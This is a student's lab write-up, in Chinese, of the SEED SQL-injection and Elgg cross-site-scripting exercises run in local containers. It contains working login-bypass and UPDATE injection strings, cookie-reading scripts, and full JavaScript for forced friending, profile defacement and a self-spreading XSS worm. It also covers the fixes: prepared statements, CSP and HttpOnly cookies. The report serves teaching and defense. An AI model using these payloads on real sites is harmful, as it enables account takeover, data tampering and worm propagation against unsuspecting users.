20251908-2025-2026-2 《网络攻防实践》第十周作业
一、实验内容
1.主要任务
1、SEED SQL注入攻击与防御实验
- 熟悉SQL语句:进入数据库,查看
credential表结构与数据。 - SELECT注入攻击:在未知密码的情况下,利用
'#绕过登录验证,以管理员身份登录。 - UPDATE注入攻击:在编辑个人资料时,通过注入语句(如
', Salary='50000)修改自己的工资。 - SQL对抗:使用Prepared Statement修复登录验证代码,使注入攻击失效。
2、SEED XSS跨站脚本攻击实验(Elgg)
- 弹窗警告:在个人资料中嵌入JS,使访客看到弹窗。
- 显示Cookie:弹窗展示访客的Cookie信息。
- 窃取Cookie:将受害者的Cookie发送到攻击者监听的服务器。
- 自动加好友:使访问者自动将攻击者添加为好友。
- 修改受害者资料:自动修改访问者的个人简介(如改为“Samy was here!”)。
- 编写XSS蠕虫:使恶意代码能自动复制到受害者的资料中,形成传播链。
- 对抗XSS:配置CSP限制脚本来源,并设置Cookie的HttpOnly属性,防御XSS攻击。
2.实验环境
- 主机系统:Windows 11
- 虚拟化平台:VMware Workstation 17 Pro
- 虚拟机:
| 主机 | IP地址 | Mac地址 |
|---|---|---|
| SEED-Ubuntu20.04 | ||
| VMNet8网卡 | 192.168.188.1 | 00:50:56:fa:aa:1e |
- 网络模式:NAT模式(VMnet8,子网 192.168.188.0/24)确保虚拟机间及与宿主机互通。
3.知识点梳理
SQL 注入
- 原理:攻击者将恶意 SQL 代码拼接到 Web 应用的输入参数中,通过闭合引号与注释符篡改原始查询逻辑,使数据库执行非预期的命令。
- SELECT 注入:利用
'闭合字符串,用#或--注释后续条件,实现绕过登录认证。 - UPDATE 注入:在编辑接口的任意字段中闭合引号后追加赋值语句(如
', Salary='50000),修改不应被修改的数据库字段。 - 防御——Prepared Statement:将 SQL 结构与数据分离,用户输入仅作为参数传入,永远不会被解释为 SQL 代码,是防御 SQL 注入最根本、最有效的手段。
XSS 跨站脚本攻击
- 原理:攻击者将恶意 JavaScript 代码注入 Web 页面,当其他用户访问该页面时,脚本在其浏览器环境中执行,从而实现窃取 Cookie、伪造请求等攻击行为。
- 存储型 XSS:恶意代码被持久化存储在服务器端(如用户资料中),任何访问该内容的用户都会触发脚本执行。
- 反射型 XSS:恶意代码通过 URL 参数等方式传递,需要诱导受害者点击构造好的链接。
- Cookie 窃取:通过
document.cookie读取受害者的会话 Cookie,并利用Image对象等隐蔽手段将其发送到攻击者服务器。 - CSRF 结合 XSS:利用 AJAX 在受害者浏览器中自动发送加好友、修改资料等请求,由于请求携带了受害者的会话 Cookie,服务器认为是合法操作。
- XSS 蠕虫:将自身代码注入受害者的个人资料中,使得任何访问受害者页面的用户再次被感染,形成自动化的传播链。
XSS 防御
- Content Security Policy (CSP):通过 Apache 配置 HTTP 响应头
Content-Security-Policy: script-src 'self',限制浏览器只能执行同源脚本,彻底阻止内联<script>和事件处理器(如onerror)中的恶意代码。 - HttpOnly Cookie:在 PHP 配置中设置
session.cookie_httponly = 1,使会话 Cookie 对 JavaScript 不可见,即使页面存在 XSS 漏洞,攻击者也无法通过document.cookie窃取会话,从而保护用户身份不被劫持。 - 输出编码:对用户提交的内容在输出到页面时进行 HTML 实体编码(如
htmlspecialchars()),使<变为<、>变为>,浏览器将其视为纯文本而非可执行标签。 - 输入过滤:对用户输入进行白名单验证或标签过滤,从源头阻断恶意脚本的存储。
二、实验过程
SEED-Ubuntu20.04 VMware配置
我这里尝试使用最新版本SEED-Ubuntu20.04进行实验,在下载镜像后转成VMware支持的格式
C:\Program Files\Oracle\VirtualBox>VBoxManage.exe clonehd D:\25152\Desktop\虚拟机镜像\SEED-Ubuntu20.04\SEED-Ubuntu20.04.vdi D:\25152\Desktop\虚拟机镜像\SEED-Ubuntu20.04\SEED-Ubuntu20.04.vmdk --format VMDK

vmware-vdiskmanager.exe -r "D:\25152\Desktop\虚拟机镜像\SEED-Ubuntu20.04\SEED-Ubuntu20.04.vmdk" -t 0 "D:\25152\Desktop\虚拟机镜像\SEED-Ubuntu20.04\SEED-Ubuntu20.04.vmdk"

使用的命令是这些,但是不建议折腾,需要安装Virtual Box,我直接上传到网盘了
通过网盘分享的文件:SEED-Ubuntu20.04.zip
链接: https://pan.baidu.com/s/1Qi1CJAEE6KnmX6V-nYBw0w 提取码: eemi
--来自百度网盘超级会员v5的分享
一、SEED SQL注入攻击与防御实验
从 SEED 官网下载 Labsetup.zip:
wget --no-check-certificate https://seedsecuritylabs.org/Labs_20.04/Files/Web_SQL_Injection/Labsetup.zip
unzip Labsetup.zip
cd Labsetup


2. 配置 hosts 映射
sudo vim /etc/hosts
添加以下条目:
10.9.0.5 www.seed-server.com

3. 构建并启动容器
首先配置国内镜像加速器,否则连接会超时
sudo vim /etc/docker/daemon.json

保存后重启 Docker 服务,然后重新构建:


启动后可通过 dockps 查看容器 ID,确认两个容器(Web 应用和 MySQL 数据库)都在运行。

进入 MySQL 容器熟悉数据库
docksh 67f6 # 用容器 ID 前几位进入 mysql 容器
mysql -u root -pdees

进入 MySQL 后执行:
show databases;
use sqllab_users;
show tables;
SELECT * FROM credential WHERE Name = 'Alice';
查看表结构和数据,熟悉 credential 表中有哪些字段。
mysql> show databases; --
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sqllab_users |
| sys |
+--------------------+
5 rows in set (0.01 sec)
mysql> use sqllab_users; --
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables; --
+------------------------+
| Tables_in_sqllab_users |
+------------------------+
| credential |
+------------------------+
1 row in set (0.00 sec)
mysql> describe credential; -- credential
+-------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------------+--------------+------+-----+---------+----------------+
| ID | int unsigned | NO | PRI | NULL | auto_increment |
| Name | varchar(30) | NO | | NULL | |
| EID | varchar(20) | YES | | NULL | |
| Salary | int | YES | | NULL | |
| birth | varchar(20) | YES | | NULL | |
| SSN | varchar(20) | YES | | NULL | |
| PhoneNumber | varchar(20) | YES | | NULL | |
| Address | varchar(300) | YES | | NULL | |
| Email | varchar(300) | YES | | NULL | |
| NickName | varchar(300) | YES | | NULL | |
| Password | varchar(300) | YES | | NULL | |
+-------------+--------------+------+-----+---------+----------------+
11 rows in set (0.01 sec)
mysql> SELECT * FROM credential WHERE Name = 'Alice'; -- Alice
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
| ID | Name | EID | Salary | birth | SSN | PhoneNumber | Address | Email | NickName | Password |
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
| 1 | Alice | 10000 | 20000 | 9/20 | 10211002 | | | | | fdbe918bdae83000aa54747fc95fe0470fff4976 |
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
1 row in set (0.00 sec)
mysql>
开始攻击
在浏览器中进行 SELECT 注入(绕过登录)
- 打开浏览器
在 SEED Ubuntu 20.04 虚拟机中,点击左侧任务栏的 Firefox 图标,打开浏览器。 - 访问 Web 应用
在地址栏输入:http://www.seed-server.com
回车,应该看到员工管理系统的登录页面。

注入攻击
- Username 输入:
admin'# - Password 任意填写(例如
111) - 点击 Login 按钮

注入成功,页面会跳转到欢迎页面,并显示所有员工的信息(包括 Alice、Boby、Ryan 等的工资、SSN 等),而不是提示密码错误。
这就说明你成功绕过了密码验证,以管理员身份登录了。

UPDATE 注入:修改自己的工资
目标:用 UPDATE 注入将自己的工资改为 50000。
- 点击右上角 Logout 退出管理员账户,然后用
Alice'#登录(密码随意)。 - 登录后点击页面上的 Edit Profile 进入编辑资料页面。
- 在 Phone Number 输入框中输入:
', Salary='50000

点击 Save 保存。
再次 Logout,用 Alice'# 登录,查看 Welcome 页面上显示的 Salary 是否已经变成 50000。

SQL 防御:使用 Prepared Statement
目标:修复 unsafe_home.php,使之前的注入攻击失效。
进入 Web 容器修改代码:
docksh cf9b # 进入 www 容器
cd /var/www/SQL_Injection

安装vim后编辑登录验证文件:
apt update
apt install vim
vim unsafe_home.php
找到类似以下代码段:
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
if (!$result = $conn->query($sql)) {
...
}

替换为 Prepared Statement 版本:
// 准备 SQL 语句,用 ? 占位
$stmt = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
FROM credential
WHERE name = ? AND Password = ?");
// 绑定参数
$stmt->bind_param("ss", $input_uname, $hashed_pwd);
// 执行查询
$stmt->execute();
// 获取结果集
$result = $stmt->get_result();
if (!$result) {
// 错误处理...
}

保存后重启 Apache:
service apache2 restart
exit # 退出容器

现在回到浏览器,再次尝试用 admin'# 登录,登录失败,证明防御生效。

此时进去后什么也没有显示

二、SEED XSS跨站脚本攻击实验(Elgg)
先退出sql和终端
quit
exit

退出之前实验的容器
cd ~/Downloads/Labsetup
docker-compose down

下载并解压 XSS 实验包
cd ~
wget --no-check-certificate https://seedsecuritylabs.org/Labs_20.04/Files/Web_XSS_Elgg/Labsetup.zip
unzip -o Labsetup.zip # -o 覆盖已存在的文件
cd Labsetup
构建并启动容器
dcbuild
dcup
dockps


在浏览器中按 Ctrl + Shift + Delete 打开清除历史记录窗口,选择 “Everything”(全部),勾选 “Cache”(缓存),点击 “Clear Now”。

elgg登录链接:http://www.seed-server.com
实验账户
| 用户名 | 密码 |
|---|---|
| admin | seedelgg |
| alice | seedalice |
| boby | seedboby |
| charlie | seedcharlie |
| samy | seedsamy |
任务1:弹窗显示警告窗口
目的:在 Alice 的个人资料中嵌入恶意 JS,使其他用户访问时弹出警告框。
在 Firefox 中访问 http://www.seed-server.com,用alice进行登录

登录成功后点击上方菜单 Account → Settings → Edit Profile。


在 Brief description 或 About Me 文本框中,先点击 Edit HTML 切换到源码模式,然后输入:

<script>alert('XSS Attack! About me');</script>
<img src="x" onerror="alert('XSS Attack! Brief description');">

点击 Save 保存,到主页是看到出现弹窗。


两处的攻击都成功了
登录Charlie也是一样

任务2:弹窗显示 cookie 信息
目的:证明可以读取受害者的会话 cookie。
将 Alice 的 About Me 内容改为:
<script>alert(document.cookie);</script>

保存后,弹窗显示 cookie 字符串:

任务3:窃取受害者的 cookies
目的:将受害者的 cookie 悄悄发送到攻击者服务器。
攻击者机器准备(宿主机):
nc -lknv 5555

在 Alice 的 About Me 中注入(需要将 IP 替换为攻击者机器的 IP, 10.9.0.1):


保存后,此时在宿主机的 nc 终端看到:

其中包含cookie。
任务4:自动加为好友
目的:受害者访问 Samy 的主页后,自动将 Samy 加为好友。
先获取 Samy 的 GUID:
用 Samy 登录(samy,seedsamy)。

按 F12 打开开发者工具,在 Console 中输入:
elgg.session.user.guid

记录下这个数字(59)。
注入攻击代码(用 Samy 账号,编辑 About Me,HTML 模式):
<script type="text/javascript">
window.onload = function () {
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.seed-server.com/action/friends/add?friend=59" + ts + token;
var Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.send();
}
</script>
注意:将 friend=59 中的 59 替换成刚才获取的 Samy 实际 GUID。

验证:
用 Alice 登录,访问 Samy 的主页(Members → Samy)。



- 查看 Alice 的好友列表(Friends),Samy 应出现在其中。

任务5:修改受害者信息
目的:受害者访问 Samy 页面后,其 About Me 会被自动修改为 “Samy was here!”。
用 Samy 登录,编辑 About Me(HTML 模式):
<script type="text/javascript">
window.onload = function () {
var userName = "&name=" + elgg.session.user.name;
var guid = "&guid=" + elgg.session.user.guid;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var content = "&description=Samy%20was%20here!&accesslevel[description]=2";
var sendurl = "http://www.seed-server.com/action/profile/edit";
var data = userName + guid + ts + token + content;
if (elgg.session.user.guid != 59) { // 59 替换成 Samy 的 GUID,避免修改自己
var Ajax = new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(data);
}
}
</script>

保存后,用 Alice 访问 Samy 页面,然后查看 Alice 的 Profile,她的 About Me 应变为 “Samy was here!”。



任务6:编写 XSS 蠕虫
目的:让恶意代码能自动复制到受害者的 About Me 中,形成传播链。
蠕虫脚本(用 Samy 登录,放入 About Me,HTML 模式):
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "<\/script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName = "&name=" + elgg.session.user.name;
var guid = "&guid=" + elgg.session.user.guid;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
// 加好友请求
var friendURL = "http://www.seed-server.com/action/friends/add?friend=59" + ts + token;
// 修改资料请求(将蠕虫代码写入受害者 About Me)
var editURL = "http://www.seed-server.com/action/profile/edit";
var content = "&description=" + wormCode + "&accesslevel[description]=2";
if (elgg.session.user.guid != 59) { // 59 是 Samy 的 GUID,避免感染自己
var Ajax1 = new XMLHttpRequest();
Ajax1.open("GET", friendURL, true);
Ajax1.send();
var Ajax2 = new XMLHttpRequest();
Ajax2.open("POST", editURL, true);
Ajax2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax2.send(userName + guid + ts + token + content);
}
}
</script>

传播验证:
用 charlie 登录,访问 Samy 主页 → charlie 的 About Me 会被蠕虫代码覆盖,且自动加 Samy 为好友。
先查看访问前的状态


访问后查看


用 Boby 登录,访问 Charlie 主页 → Boby 同样被感染,蠕虫继续传播。
访问Charlie前状态


访问后



任务7:对抗 XSS 攻击
在 Elgg 中,用户输入的“About Me”等内容是通过视图文件输出的。我们修改输出函数,强制进行 HTML 编码。
编辑 Elgg 的输出视图文件:
这里一定要进入docker(elgg)执行(docksh 7515 # 用容器 ID 前几位进入elgg 容器)
apt update
apt install vim
设置 Content Security Policy (CSP)
目标:限制浏览器只能执行同源的脚本,禁止内联脚本。
编辑 Elgg 站点的 Apache 配置文件:
vim /etc/apache2/sites-enabled/apache_elgg.conf
在 </VirtualHost> 之前,添加一行:
Header set Content-Security-Policy "script-src 'self'"

确保 Apache 的 headers 模块已启用:
a2enmod headers
service apache2 restart

设置 Cookie 的 HttpOnly 属性
目标:即使存在 XSS 漏洞,攻击者也无法用 JavaScript 读取会话 cookie。
编辑 PHP 配置文件:
vim /etc/php/7.4/apache2/php.ini
(PHP 版本可能是 7.2 或 7.4,可通过 php -v 确认)
搜索 session.cookie_httponly,将其值改为 1:
session.cookie_httponly = 1

同时可以启用安全属性
session.cookie_secure = Off # 保持 Off,因为是用 HTTP

重启 Apache:
service apache2 restart
验证
1.查看Alice主页不会出现警告

2.使用admin账号访问Charlie主页不会自动加好友
访问前


访问后

3.删除Boby的好友Samy后访问Samy主页也不会被感染
删除好友和profile


访问主页

查看好友列表和profile


三、学习中遇到的问题及解决
1.没有开箱即用的兼容VMware 的 Seed Ubuntu 20.04镜像
按照网上的教程将vdi文件转成了vmdk后再新建个虚拟机就好了,前文有详细的教程,不再赘述
通过网盘分享的文件:SEED-Ubuntu20.04.zip
链接: https://pan.baidu.com/s/1Qi1CJAEE6KnmX6V-nYBw0w 提取码: eemi
--来自百度网盘超级会员v5的分享
2.XSS攻击时无法进入正常的Elgg页面,依旧停留在SQL攻击的页面
反复查了许久,定位到是浏览器缓存没有清理,清理一下就好了
在浏览器中按 Ctrl + Shift + Delete 打开清除历史记录窗口,选择 “Everything”(全部),勾选 “Cache”(缓存),点击 “Clear Now”。

四、学习感悟、思考等
经过这次实验,我深刻体会到安全漏洞往往源于最不起眼的疏忽。看似简单的拼接用户输入,竟能让整个系统门户大开。这让我意识到,编写代码不仅是实现功能,更是一场与潜在威胁的博弈。同时,我也理解了“防御”远比“攻击”更需要前瞻性与系统性思维。作为一个学习者,最大的收获不是掌握了具体的攻击手法,而是建立起“不要信任用户输入”的基本安全观念——这种思维方式,比任何技术细节都更值得铭记。
参考资料:https://blog.csdn.net/m0_52126419/article/details/130151189

浙公网安备 33010602011771号